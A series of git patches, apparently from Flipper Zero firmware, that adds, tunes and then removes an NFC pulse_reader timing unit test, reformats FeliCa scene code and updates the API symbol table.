LL_TIM_SetClockSource(TIM1, LL_TIM_CLOCKSOURCE_INTERNAL); + LL_TIM_DisableARRPreload(TIM1); + + LL_TIM_OC_DisablePreload(TIM1, LL_TIM_CHANNEL_CH1); + LL_TIM_OC_SetMode(TIM1, LL_TIM_CHANNEL_CH1, LL_TIM_OCMODE_PWM2); + LL_TIM_OC_SetPolarity(TIM1, LL_TIM_CHANNEL_CH1N, LL_TIM_OCPOLARITY_HIGH); + LL_TIM_OC_DisableFast(TIM1, LL_TIM_CHANNEL_CH1); + LL_TIM_CC_EnableChannel(TIM1, LL_TIM_CHANNEL_CH1N); + + LL_TIM_EnableAllOutputs(TIM1); + + /* now calculate the TIM1 period and compare values */ + uint32_t freq_div = 64 * (usec_low + usec_high); + uint32_t prescaler = freq_div / 0x10000LU; + uint32_t period = freq_div / (prescaler + 1); + uint32_t compare = 64 * usec_low / (prescaler + 1); + + LL_TIM_SetPrescaler(TIM1, prescaler); + LL_TIM_SetAutoReload(TIM1, period - 1); + LL_TIM_SetCounter(TIM1, period - 1); + LL_TIM_OC_SetCompareCH1(TIM1, compare); + + /* timer is ready to launch, now start the pulse reader */ + pulse_reader_set_timebase(reader, PulseReaderUnitMicrosecond); + pulse_reader_start(reader); + + /* and quickly enable and switch over the GPIO to the generated signal */ + LL_TIM_EnableCounter(TIM1); + furi_hal_gpio_init_ex( + gpio_out, GpioModeAltFunctionPushPull, GpioPullNo, GpioSpeedVeryHigh, GpioAltFn1TIM1); + + /* now it's time to parse the pulses received by the reader */ + uint32_t timer_pulses = period_count; + uint32_t prev_cnt = 0; + + while(timer_pulses > 0) { + /* whenever the counter gets reset, we went through a full period */ + uint32_t cur_cnt = LL_TIM_GetCounter(TIM1); + if(cur_cnt < prev_cnt) { + timer_pulses--; + } + prev_cnt = cur_cnt; + } + /* quickly halt the counter to keep a static signal */ + LL_TIM_DisableCounter(TIM1); + + do { + /* as all edges were sampled asynchronously, the timeout can be zero */ + uint32_t length = pulse_reader_receive(reader, 0); + + /* in the last pulse, we expect a "no edge" return value. if seen that, test succeeded. */ + if(pulses > period_count * 2) { + if(length != PULSE_READER_NO_EDGE) { + FURI_LOG_E( + TAG, + "last pulse expected to be PULSE_READER_NO_EDGE, but was %lu.", + length); + break; + } + success = true; + break; + } + + /* else we shall never see "no edge" or "lost edge" */ + if(length == PULSE_READER_NO_EDGE) { + FURI_LOG_E(TAG, "%lu. pulse not expected to be PULSE_READER_NO_EDGE", pulses); + break; + } + if(length == PULSE_READER_LOST_EDGE) { + FURI_LOG_E(TAG, "%lu. pulse not expected to be PULSE_READER_LOST_EDGE", pulses); + break; + } + + if(pulses > 0) { + /* throw away the first pulse, which is the 1->0 from the first start and will be irrelevant for our test */ + bool phase = ((pulses - 1) % 2) == 1; + uint32_t expected = phase ? usec_high : usec_low; + uint32_t deviation = abs((int32_t)length - (int32_t)expected); + + if(deviation > tolerance) { + FURI_LOG_E( + TAG, + "%lu. pulse expected %lu, but pulse was %lu.", + pulses, + expected, + length); + break; + } + } + pulses++; + } while(true); + } while(false); + + if(reader != NULL) { + pulse_reader_stop(reader); + pulse_reader_free(reader); + } + + LL_TIM_DeInit(TIM1); + furi_hal_gpio_init_simple(gpio_in, GpioModeAnalog); + furi_hal_gpio_init_simple(gpio_out, GpioModeAnalog); + + return success; +} + +MU_TEST(nfc_pulse_reader_test) { + mu_assert(nfc_test_pulse_reader_toggle(1500, 2500, 50, 10), "1 ms signal failed\r\n"); + mu_assert(nfc_test_pulse_reader_toggle(10000, 10000, 10, 10), "10 ms signal failed\r\n"); + mu_assert(nfc_test_pulse_reader_toggle(100000, 100000, 5, 50), "100 ms signal failed\r\n"); + mu_assert(nfc_test_pulse_reader_toggle(100, 900, 50, 10), "1 ms asymmetric signal failed\r\n"); + mu_assert( + nfc_test_pulse_reader_toggle(3333, 6666, 10, 10), "10 ms asymmetric signal failed\r\n"); + mu_assert( + nfc_test_pulse_reader_toggle(25000, 75000, 5, 10), "100 ms asymmetric signal failed\r\n"); +} + MU_TEST(mf_classic_dict_test) { MfClassicDict* instance = NULL; uint64_t key = 0; @@ -485,6 +634,7 @@ MU_TEST(mf_classic_4k_7b_file_test) { MU_TEST_SUITE(nfc) { nfc_test_alloc(); + MU_RUN_TEST(nfc_pulse_reader_test); MU_RUN_TEST(nfca_file_test); MU_RUN_TEST(mf_classic_1k_4b_file_test); MU_RUN_TEST(mf_classic_4k_4b_file_test); From 42bb1aac4e79b5b4db6047df6a39fd37b3d2a0d0 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Wed, 21 Dec 2022 01:15:22 +0100 Subject: [PATCH 019/329] change pulse reader test timings to 1, 10 and 100 ms --- applications/debug/unit_tests/nfc/nfc_test.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/debug/unit_tests/nfc/nfc_test.c b/applications/debug/unit_tests/nfc/nfc_test.c index 20188f61a..9d2657e8c 100644 --- a/applications/debug/unit_tests/nfc/nfc_test.c +++ b/applications/debug/unit_tests/nfc/nfc_test.c @@ -318,9 +318,9 @@ static bool nfc_test_pulse_reader_toggle( } MU_TEST(nfc_pulse_reader_test) { - mu_assert(nfc_test_pulse_reader_toggle(1500, 2500, 50, 10), "1 ms signal failed\r\n"); - mu_assert(nfc_test_pulse_reader_toggle(10000, 10000, 10, 10), "10 ms signal failed\r\n"); - mu_assert(nfc_test_pulse_reader_toggle(100000, 100000, 5, 50), "100 ms signal failed\r\n"); + mu_assert(nfc_test_pulse_reader_toggle(500, 500, 50, 10), "1 ms signal failed\r\n"); + mu_assert(nfc_test_pulse_reader_toggle(5000, 5000, 10, 10), "10 ms signal failed\r\n"); + mu_assert(nfc_test_pulse_reader_toggle(50000, 50000, 5, 50), "100 ms signal failed\r\n"); mu_assert(nfc_test_pulse_reader_toggle(100, 900, 50, 10), "1 ms asymmetric signal failed\r\n"); mu_assert( nfc_test_pulse_reader_toggle(3333, 6666, 10, 10), "10 ms asymmetric signal failed\r\n"); From c64196003c3634f8527f128ef1adcc7bbf8c3352 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Wed, 21 Dec 2022 01:26:16 +0100 Subject: [PATCH 020/329] fine tuned timings for pulse_reader test --- applications/debug/unit_tests/nfc/nfc_test.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/applications/debug/unit_tests/nfc/nfc_test.c b/applications/debug/unit_tests/nfc/nfc_test.c index 9d2657e8c..ec6ab64e4 100644 --- a/applications/debug/unit_tests/nfc/nfc_test.c +++ b/applications/debug/unit_tests/nfc/nfc_test.c @@ -255,7 +255,9 @@ static bool nfc_test_pulse_reader_toggle( } prev_cnt = cur_cnt; } - /* quickly halt the counter to keep a static signal */ + /* quickly halt the counter to keep a static signal. we might get some delay here due to scheduling, + causing the timer to continue racing. there is currently no workaround, as disabling interrupts will + defunct the pulse_reader */ LL_TIM_DisableCounter(TIM1); do { @@ -318,12 +320,10 @@ static bool nfc_test_pulse_reader_toggle( } MU_TEST(nfc_pulse_reader_test) { - mu_assert(nfc_test_pulse_reader_toggle(500, 500, 50, 10), "1 ms signal failed\r\n"); mu_assert(nfc_test_pulse_reader_toggle(5000, 5000, 10, 10), "10 ms signal failed\r\n"); mu_assert(nfc_test_pulse_reader_toggle(50000, 50000, 5, 50), "100 ms signal failed\r\n"); - mu_assert(nfc_test_pulse_reader_toggle(100, 900, 50, 10), "1 ms asymmetric signal failed\r\n"); mu_assert( - nfc_test_pulse_reader_toggle(3333, 6666, 10, 10), "10 ms asymmetric signal failed\r\n"); + nfc_test_pulse_reader_toggle(3333, 6667, 10, 10), "10 ms asymmetric signal failed\r\n"); mu_assert( nfc_test_pulse_reader_toggle(25000, 75000, 5, 10), "100 ms asymmetric signal failed\r\n"); } From f92776c457d4b092a47798500cfccb0b5a7a8fd2 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Wed, 21 Dec 2022 15:38:03 +0100 Subject: [PATCH 021/329] pulse_reader_stop now deinits GPIO as recommended by @gornekich --- lib/pulse_reader/pulse_reader.c | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/pulse_reader/pulse_reader.c b/lib/pulse_reader/pulse_reader.c index 64fde7fc9..8b35f6d18 100644 --- a/lib/pulse_reader/pulse_reader.c +++ b/lib/pulse_reader/pulse_reader.c @@ -105,6 +105,7 @@ void pulse_reader_stop(PulseReader* signal) { LL_DMA_DisableChannel(DMA1, signal->dma_channel + 1); LL_DMAMUX_DisableRequestGen(NULL, LL_DMAMUX_REQ_GEN_0); LL_TIM_DisableCounter(TIM2); + furi_hal_gpio_init_simple(signal->gpio, GpioModeAnalog); } void pulse_reader_start(PulseReader* signal) { From b9d7e5b41e705b56156cc0368a7270c701299eac Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Wed, 21 Dec 2022 17:36:51 +0100 Subject: [PATCH 022/329] ran format_py --- lib/pulse_reader/SConscript | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pulse_reader/SConscript b/lib/pulse_reader/SConscript index 416ad4a27..5a72b953f 100644 --- a/lib/pulse_reader/SConscript +++ b/lib/pulse_reader/SConscript @@ -16,4 +16,4 @@ sources = libenv.GlobRecursive("*.c*") lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources) libenv.Install("${LIB_DIST_DIR}", lib) -Return("lib") \ No newline at end of file +Return("lib") From 73056d34ffb2118e584906d258f64fd5cf7e77d6 Mon Sep 17 00:00:00 2001 From: gornekich Date: Wed, 21 Dec 2022 23:17:06 +0400 Subject: [PATCH 023/329] pulse_reader: remove from API, allow to link with faps Signed-off-by: g3gg0.de --- firmware/targets/f7/api_symbols.csv | 18 +++++++++--------- lib/pulse_reader/SConscript | 8 ++++++++ 2 files changed, 17 insertions(+), 9 deletions(-) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index cd8ed3c6e..1a4ec0838 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,11.2,, +Version,+,11.3,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -2099,14 +2099,14 @@ Function,+,protocol_dict_render_brief_data,void,"ProtocolDict*, FuriString*, siz Function,+,protocol_dict_render_data,void,"ProtocolDict*, FuriString*, size_t" Function,+,protocol_dict_set_data,void,"ProtocolDict*, size_t, const uint8_t*, size_t" Function,-,pselect,int,"int, fd_set*, fd_set*, fd_set*, const timespec*, const sigset_t*" -Function,+,pulse_reader_alloc,PulseReader*,"const GpioPin*, uint32_t" -Function,+,pulse_reader_free,void,PulseReader* -Function,+,pulse_reader_receive,uint32_t,"PulseReader*, int" -Function,+,pulse_reader_samples,uint32_t,PulseReader* -Function,+,pulse_reader_set_bittime,void,"PulseReader*, uint32_t" -Function,+,pulse_reader_set_timebase,void,"PulseReader*, PulseReaderUnit" -Function,+,pulse_reader_start,void,PulseReader* -Function,+,pulse_reader_stop,void,PulseReader* +Function,-,pulse_reader_alloc,PulseReader*,"const GpioPin*, uint32_t" +Function,-,pulse_reader_free,void,PulseReader* +Function,-,pulse_reader_receive,uint32_t,"PulseReader*, int" +Function,-,pulse_reader_samples,uint32_t,PulseReader* +Function,-,pulse_reader_set_bittime,void,"PulseReader*, uint32_t" +Function,-,pulse_reader_set_timebase,void,"PulseReader*, PulseReaderUnit" +Function,-,pulse_reader_start,void,PulseReader* +Function,-,pulse_reader_stop,void,PulseReader* Function,-,putc,int,"int, FILE*" Function,-,putc_unlocked,int,"int, FILE*" Function,-,putchar,int,int diff --git a/lib/pulse_reader/SConscript b/lib/pulse_reader/SConscript index 5a72b953f..f00851a20 100644 --- a/lib/pulse_reader/SConscript +++ b/lib/pulse_reader/SConscript @@ -12,6 +12,14 @@ env.Append( libenv = env.Clone(FW_LIB_NAME="pulse_reader") libenv.ApplyLibFlags() +libenv.AppendUnique( + CCFLAGS=[ + # Required for lib to be linkable with .faps + "-mword-relocations", + "-mlong-calls", + ], +) + sources = libenv.GlobRecursive("*.c*") lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources) From 85fa0004fe8d1b62886c9978ef803e3f835eb47a Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Wed, 21 Dec 2022 21:54:33 +0100 Subject: [PATCH 024/329] remove unit test for pulse_reader again --- applications/debug/unit_tests/nfc/nfc_test.c | 150 ------------------- 1 file changed, 150 deletions(-) diff --git a/applications/debug/unit_tests/nfc/nfc_test.c b/applications/debug/unit_tests/nfc/nfc_test.c index ec6ab64e4..e9e7b35f6 100644 --- a/applications/debug/unit_tests/nfc/nfc_test.c +++ b/applications/debug/unit_tests/nfc/nfc_test.c @@ -1,12 +1,10 @@ #include #include -#include #include #include #include #include #include -#include #include #include @@ -181,153 +179,6 @@ MU_TEST(nfc_digital_signal_test) { "NFC long digital signal test failed\r\n"); } -static bool nfc_test_pulse_reader_toggle( - uint32_t usec_low, - uint32_t usec_high, - uint32_t period_count, - uint32_t tolerance) { - furi_assert(nfc_test); - - bool success = false; - uint32_t pulses = 0; - const GpioPin* gpio_in = &gpio_ext_pa6; - const GpioPin* gpio_out = &gpio_ext_pa7; - PulseReader* reader = NULL; - - do { - reader = pulse_reader_alloc(gpio_in, 512); - - if(!reader) { - FURI_LOG_E(TAG, "failed to allocate pulse reader"); - break; - } - - /* use TIM1 to create a specific number of pulses with defined duty cycle - but first set the IO to high, so the low/high pulse can get detected */ - furi_hal_gpio_init(gpio_out, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(gpio_out, true); - - LL_TIM_DeInit(TIM1); - - LL_TIM_SetCounterMode(TIM1, LL_TIM_COUNTERMODE_UP); - LL_TIM_SetRepetitionCounter(TIM1, 0); - LL_TIM_SetClockDivision(TIM1, LL_TIM_CLOCKDIVISION_DIV1); - LL_TIM_SetClockSource(TIM1, LL_TIM_CLOCKSOURCE_INTERNAL); - LL_TIM_DisableARRPreload(TIM1); - - LL_TIM_OC_DisablePreload(TIM1, LL_TIM_CHANNEL_CH1); - LL_TIM_OC_SetMode(TIM1, LL_TIM_CHANNEL_CH1, LL_TIM_OCMODE_PWM2); - LL_TIM_OC_SetPolarity(TIM1, LL_TIM_CHANNEL_CH1N, LL_TIM_OCPOLARITY_HIGH); - LL_TIM_OC_DisableFast(TIM1, LL_TIM_CHANNEL_CH1); - LL_TIM_CC_EnableChannel(TIM1, LL_TIM_CHANNEL_CH1N); - - LL_TIM_EnableAllOutputs(TIM1); - - /* now calculate the TIM1 period and compare values */ - uint32_t freq_div = 64 * (usec_low + usec_high); - uint32_t prescaler = freq_div / 0x10000LU; - uint32_t period = freq_div / (prescaler + 1); - uint32_t compare = 64 * usec_low / (prescaler + 1); - - LL_TIM_SetPrescaler(TIM1, prescaler); - LL_TIM_SetAutoReload(TIM1, period - 1); - LL_TIM_SetCounter(TIM1, period - 1); - LL_TIM_OC_SetCompareCH1(TIM1, compare); - - /* timer is ready to launch, now start the pulse reader */ - pulse_reader_set_timebase(reader, PulseReaderUnitMicrosecond); - pulse_reader_start(reader); - - /* and quickly enable and switch over the GPIO to the generated signal */ - LL_TIM_EnableCounter(TIM1); - furi_hal_gpio_init_ex( - gpio_out, GpioModeAltFunctionPushPull, GpioPullNo, GpioSpeedVeryHigh, GpioAltFn1TIM1); - - /* now it's time to parse the pulses received by the reader */ - uint32_t timer_pulses = period_count; - uint32_t prev_cnt = 0; - - while(timer_pulses > 0) { - /* whenever the counter gets reset, we went through a full period */ - uint32_t cur_cnt = LL_TIM_GetCounter(TIM1); - if(cur_cnt < prev_cnt) { - timer_pulses--; - } - prev_cnt = cur_cnt; - } - /* quickly halt the counter to keep a static signal. we might get some delay here due to scheduling, - causing the timer to continue racing. there is currently no workaround, as disabling interrupts will - defunct the pulse_reader */ - LL_TIM_DisableCounter(TIM1); - - do { - /* as all edges were sampled asynchronously, the timeout can be zero */ - uint32_t length = pulse_reader_receive(reader, 0); - - /* in the last pulse, we expect a "no edge" return value. if seen that, test succeeded. */ - if(pulses > period_count * 2) { - if(length != PULSE_READER_NO_EDGE) { - FURI_LOG_E( - TAG, - "last pulse expected to be PULSE_READER_NO_EDGE, but was %lu.", - length); - break; - } - success = true; - break; - } - - /* else we shall never see "no edge" or "lost edge" */ - if(length == PULSE_READER_NO_EDGE) { - FURI_LOG_E(TAG, "%lu. pulse not expected to be PULSE_READER_NO_EDGE", pulses); - break; - } - if(length == PULSE_READER_LOST_EDGE) { - FURI_LOG_E(TAG, "%lu. pulse not expected to be PULSE_READER_LOST_EDGE", pulses); - break; - } - - if(pulses > 0) { - /* throw away the first pulse, which is the 1->0 from the first start and will be irrelevant for our test */ - bool phase = ((pulses - 1) % 2) == 1; - uint32_t expected = phase ? usec_high : usec_low; - uint32_t deviation = abs((int32_t)length - (int32_t)expected); - - if(deviation > tolerance) { - FURI_LOG_E( - TAG, - "%lu. pulse expected %lu, but pulse was %lu.", - pulses, - expected, - length); - break; - } - } - pulses++; - } while(true); - } while(false); - - if(reader != NULL) { - pulse_reader_stop(reader); - pulse_reader_free(reader); - } - - LL_TIM_DeInit(TIM1); - furi_hal_gpio_init_simple(gpio_in, GpioModeAnalog); - furi_hal_gpio_init_simple(gpio_out, GpioModeAnalog); - - return success; -} - -MU_TEST(nfc_pulse_reader_test) { - mu_assert(nfc_test_pulse_reader_toggle(5000, 5000, 10, 10), "10 ms signal failed\r\n"); - mu_assert(nfc_test_pulse_reader_toggle(50000, 50000, 5, 50), "100 ms signal failed\r\n"); - mu_assert( - nfc_test_pulse_reader_toggle(3333, 6667, 10, 10), "10 ms asymmetric signal failed\r\n"); - mu_assert( - nfc_test_pulse_reader_toggle(25000, 75000, 5, 10), "100 ms asymmetric signal failed\r\n"); -} - MU_TEST(mf_classic_dict_test) { MfClassicDict* instance = NULL; uint64_t key = 0; @@ -634,7 +485,6 @@ MU_TEST(mf_classic_4k_7b_file_test) { MU_TEST_SUITE(nfc) { nfc_test_alloc(); - MU_RUN_TEST(nfc_pulse_reader_test); MU_RUN_TEST(nfca_file_test); MU_RUN_TEST(mf_classic_1k_4b_file_test); MU_RUN_TEST(mf_classic_4k_4b_file_test); From 8fecca357533418b7d19c22ebfb1d90d8497cefc Mon Sep 17 00:00:00 2001 From: nullableVoidPtr <30564701+nullableVoidPtr@users.noreply.github.com> Date: Wed, 28 Dec 2022 17:24:48 +0800 Subject: [PATCH 025/329] NFC: bump API version and format FeliCa scene code --- applications/main/nfc/nfc_i.h | 1 - .../main/nfc/scenes/nfc_scene_felica_menu.c | 2 +- .../scenes/nfc_scene_felica_read_success.c | 3 +- .../scenes/nfc_scene_felica_service_data.c | 33 ++++++++++++------- firmware/targets/f7/api_symbols.csv | 2 +- lib/nfc/protocols/felica.c | 11 ++++--- 6 files changed, 32 insertions(+), 20 deletions(-) diff --git a/applications/main/nfc/nfc_i.h b/applications/main/nfc/nfc_i.h index 06a02bee4..21a3d4333 100644 --- a/applications/main/nfc/nfc_i.h +++ b/applications/main/nfc/nfc_i.h @@ -48,7 +48,6 @@ ARRAY_DEF(MfClassicUserKeys, char*, M_PTR_OPLIST); #define NFC_TEXT_STORE_SIZE 128 #define NFC_APP_FOLDER ANY_PATH("nfc") - typedef struct { FuriStringStack_t strings; diff --git a/applications/main/nfc/scenes/nfc_scene_felica_menu.c b/applications/main/nfc/scenes/nfc_scene_felica_menu.c index 669bfd4ee..b989047d6 100644 --- a/applications/main/nfc/scenes/nfc_scene_felica_menu.c +++ b/applications/main/nfc/scenes/nfc_scene_felica_menu.c @@ -63,7 +63,7 @@ bool nfc_scene_felica_menu_on_event(void* context, SceneManagerEvent event) { consumed = true; } else */ - if(event.event == SubmenuIndexInfo) { + if(event.event == SubmenuIndexInfo) { scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaInfoSelect); consumed = true; } diff --git a/applications/main/nfc/scenes/nfc_scene_felica_read_success.c b/applications/main/nfc/scenes/nfc_scene_felica_read_success.c index 81777a0f7..52bba0ee3 100644 --- a/applications/main/nfc/scenes/nfc_scene_felica_read_success.c +++ b/applications/main/nfc/scenes/nfc_scene_felica_read_success.c @@ -30,7 +30,8 @@ void nfc_scene_felica_read_success_on_enter(void* context) { temp_str = furi_string_alloc_printf("\e#%s", nfc_felica_type(felica_data->type)); FelicaSystemList_it_t it; - for(FelicaSystemList_it(it, felica_data->systems); !FelicaSystemList_end_p(it); FelicaSystemList_next(it)) { + for(FelicaSystemList_it(it, felica_data->systems); !FelicaSystemList_end_p(it); + FelicaSystemList_next(it)) { FelicaSystem* current_system = *FelicaSystemList_ref(it); furi_string_cat_printf( temp_str, "\nSystem %04X (#%d):", current_system->code, current_system->number); diff --git a/applications/main/nfc/scenes/nfc_scene_felica_service_data.c b/applications/main/nfc/scenes/nfc_scene_felica_service_data.c index 7cb2ba591..68cd71a4f 100644 --- a/applications/main/nfc/scenes/nfc_scene_felica_service_data.c +++ b/applications/main/nfc/scenes/nfc_scene_felica_service_data.c @@ -17,7 +17,8 @@ void nfc_scene_felica_service_data_on_enter(void* context) { furi_string_push_back(nfc->text_box_store, '\n'); } if(block != NULL) { - furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf( + nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); } else { furi_string_cat_printf(nfc->text_box_store, "???? "); } @@ -31,7 +32,8 @@ void nfc_scene_felica_service_data_on_enter(void* context) { furi_string_push_back(nfc->text_box_store, '\n'); } if(block != NULL) { - furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf( + nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); } else { furi_string_cat_printf(nfc->text_box_store, "???? "); } @@ -43,7 +45,8 @@ void nfc_scene_felica_service_data_on_enter(void* context) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf( + nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); } furi_string_cat_str(nfc->text_box_store, "MAC:\n"); @@ -52,7 +55,8 @@ void nfc_scene_felica_service_data_on_enter(void* context) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf( + nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); } furi_string_cat_str(nfc->text_box_store, "ID:\n"); @@ -61,7 +65,8 @@ void nfc_scene_felica_service_data_on_enter(void* context) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf( + nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); } furi_string_cat_str(nfc->text_box_store, "D_ID:\n"); @@ -70,7 +75,8 @@ void nfc_scene_felica_service_data_on_enter(void* context) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf( + nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); } furi_string_cat_str(nfc->text_box_store, "CKV:\n"); @@ -79,7 +85,8 @@ void nfc_scene_felica_service_data_on_enter(void* context) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf( + nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); } furi_string_cat_str(nfc->text_box_store, "MC:\n"); @@ -88,7 +95,8 @@ void nfc_scene_felica_service_data_on_enter(void* context) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf( + nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); } furi_string_cat_str(nfc->text_box_store, "WCNT:\n"); @@ -97,7 +105,8 @@ void nfc_scene_felica_service_data_on_enter(void* context) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf( + nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); } furi_string_cat_str(nfc->text_box_store, "MAC_A:\n"); @@ -106,7 +115,8 @@ void nfc_scene_felica_service_data_on_enter(void* context) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf( + nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); } furi_string_cat_str(nfc->text_box_store, "CRC_CHECK:\n"); @@ -115,7 +125,8 @@ void nfc_scene_felica_service_data_on_enter(void* context) { if(!(i % 8) && i) { furi_string_push_back(nfc->text_box_store, '\n'); } - furi_string_cat_printf(nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); + furi_string_cat_printf( + nfc->text_box_store, "%02X%02X ", block->data[i], block->data[i + 1]); } } text_box_set_text(text_box, furi_string_get_cstr(nfc->text_box_store)); diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 6d1d295c0..60b5864bc 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,11.3,, +Version,+,11.4,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, diff --git a/lib/nfc/protocols/felica.c b/lib/nfc/protocols/felica.c index 8387674df..e6f585437 100644 --- a/lib/nfc/protocols/felica.c +++ b/lib/nfc/protocols/felica.c @@ -418,8 +418,7 @@ bool felica_read_lite_system( area->end_service_code = 0x000f; FelicaNodeList_init(area->nodes); FelicaNode* node = malloc(sizeof(node)); - node->type = FelicaNodeTypeService, - node->ptr.service = service; + node->type = FelicaNodeTypeService, node->ptr.service = service; FelicaNodeList_push_back(area->nodes, node); service->number = 0; @@ -575,7 +574,8 @@ bool felica_read_card( void felica_service_clear(FelicaService* service) { FelicaBlockList_it_t it; - for(FelicaBlockList_it(it, service->blocks); !FelicaBlockList_end_p(it); FelicaBlockList_next(it)) { + for(FelicaBlockList_it(it, service->blocks); !FelicaBlockList_end_p(it); + FelicaBlockList_next(it)) { FelicaBlock* block = *FelicaBlockList_ref(it); free(block); } @@ -586,7 +586,7 @@ void felica_area_clear(FelicaArea* area) { FelicaNodeList_it_t it; for(FelicaNodeList_it(it, area->nodes); !FelicaNodeList_end_p(it); FelicaNodeList_next(it)) { FelicaNode* node = *FelicaNodeList_ref(it); - if (node->type == FelicaNodeTypeArea) { + if(node->type == FelicaNodeTypeArea) { felica_area_clear(node->ptr.area); } else if(node->type == FelicaNodeTypeService) { felica_service_clear(node->ptr.service); @@ -598,7 +598,8 @@ void felica_area_clear(FelicaArea* area) { void felica_clear(FelicaData* data) { FelicaSystemList_it_t it; - for(FelicaSystemList_it(it, data->systems); !FelicaSystemList_end_p(it); FelicaSystemList_next(it)) { + for(FelicaSystemList_it(it, data->systems); !FelicaSystemList_end_p(it); + FelicaSystemList_next(it)) { FelicaSystem* system = *FelicaSystemList_ref(it); felica_area_clear(&system->root_area); } From 60f56cc048a6302e82065241efa86879a9048f46 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Wed, 28 Dec 2022 14:40:29 +0100 Subject: [PATCH 026/329] pulse_reader: add call to set GPIO pull direction --- firmware/targets/f7/api_symbols.csv | 5 +++-- lib/pulse_reader/pulse_reader.c | 7 ++++++- lib/pulse_reader/pulse_reader.h | 11 +++++++++++ 3 files changed, 20 insertions(+), 3 deletions(-) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 1a4ec0838..505490793 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,11.3,, +Version,+,11.4,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -563,8 +563,8 @@ Function,+,ble_glue_wait_for_c2_start,_Bool,int32_t Function,-,bsearch,void*,"const void*, const void*, size_t, size_t, __compar_fn_t" Function,+,bt_disconnect,void,Bt* Function,+,bt_forget_bonded_devices,void,Bt* -Function,+,bt_keys_storage_set_storage_path,void,"Bt*, const char*" Function,+,bt_keys_storage_set_default_path,void,Bt* +Function,+,bt_keys_storage_set_storage_path,void,"Bt*, const char*" Function,+,bt_set_profile,_Bool,"Bt*, BtProfile" Function,+,bt_set_status_changed_callback,void,"Bt*, BtStatusChangedCallback, void*" Function,+,buffered_file_stream_alloc,Stream*,Storage* @@ -2104,6 +2104,7 @@ Function,-,pulse_reader_free,void,PulseReader* Function,-,pulse_reader_receive,uint32_t,"PulseReader*, int" Function,-,pulse_reader_samples,uint32_t,PulseReader* Function,-,pulse_reader_set_bittime,void,"PulseReader*, uint32_t" +Function,-,pulse_reader_set_pull,void,"PulseReader*, GpioPull" Function,-,pulse_reader_set_timebase,void,"PulseReader*, PulseReaderUnit" 